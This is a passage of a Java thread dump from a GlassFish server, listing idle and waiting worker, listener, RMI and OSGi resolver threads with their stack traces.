java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-22-thread-1" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-20" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(1)" #55 daemon [WAITING] on java.lang.Object@5fde3b06 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-expirer(1)" #46 daemon [TIMED_WAITING] on java.lang.Object@787f773b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@62b9decf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #68 [WAITING] on java.lang.ref.ReferenceQueue$Lock@493fa8ff + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:171) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-kernel(1) SelectorRunner" #54 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(3)" #57 daemon [WAITING] on java.lang.Object@5fde3b06 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-9" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8832962 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:119) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:98) + +"transaction-manager" #66 daemon [WAITING] on java.util.TaskQueue@51e676e5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-17" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837818567" #28 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@555e412b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(5)" #45 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@56577539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@3ac0d764 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #118 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:750) + +"pool-8-thread-1" #98 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79bdb2e9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-2-thread-1" #36 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Gogo shell" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4d719571 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #119 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-8" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-13-thread-1" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f428364 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-kernel(1) SelectorRunner" #47 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-4" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-1-thread-1" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4545943a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-19-thread-1" #114 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(2)" #42 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@56577539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-10" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fbcd07f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(4)" #58 daemon [WAITING] on java.lang.Object@5fde3b06 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-6" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@263dcec2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:171) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"http-listener-2(4)" #51 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@50e3006 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #74 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@832d8be + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-expirer(1)" #53 daemon [TIMED_WAITING] on java.lang.Object@6669e561 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(1)" #40 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@56577539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-11" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837818567" #29 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@555e412b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-38" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fbcd07f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-27" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-5-thread-1" #39 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixDispatchQueue" #13 daemon [WAITING] on java.util.ArrayList@3eb73035 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.lang.Thread.run(Thread.java:750) + +"Thread-26" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at 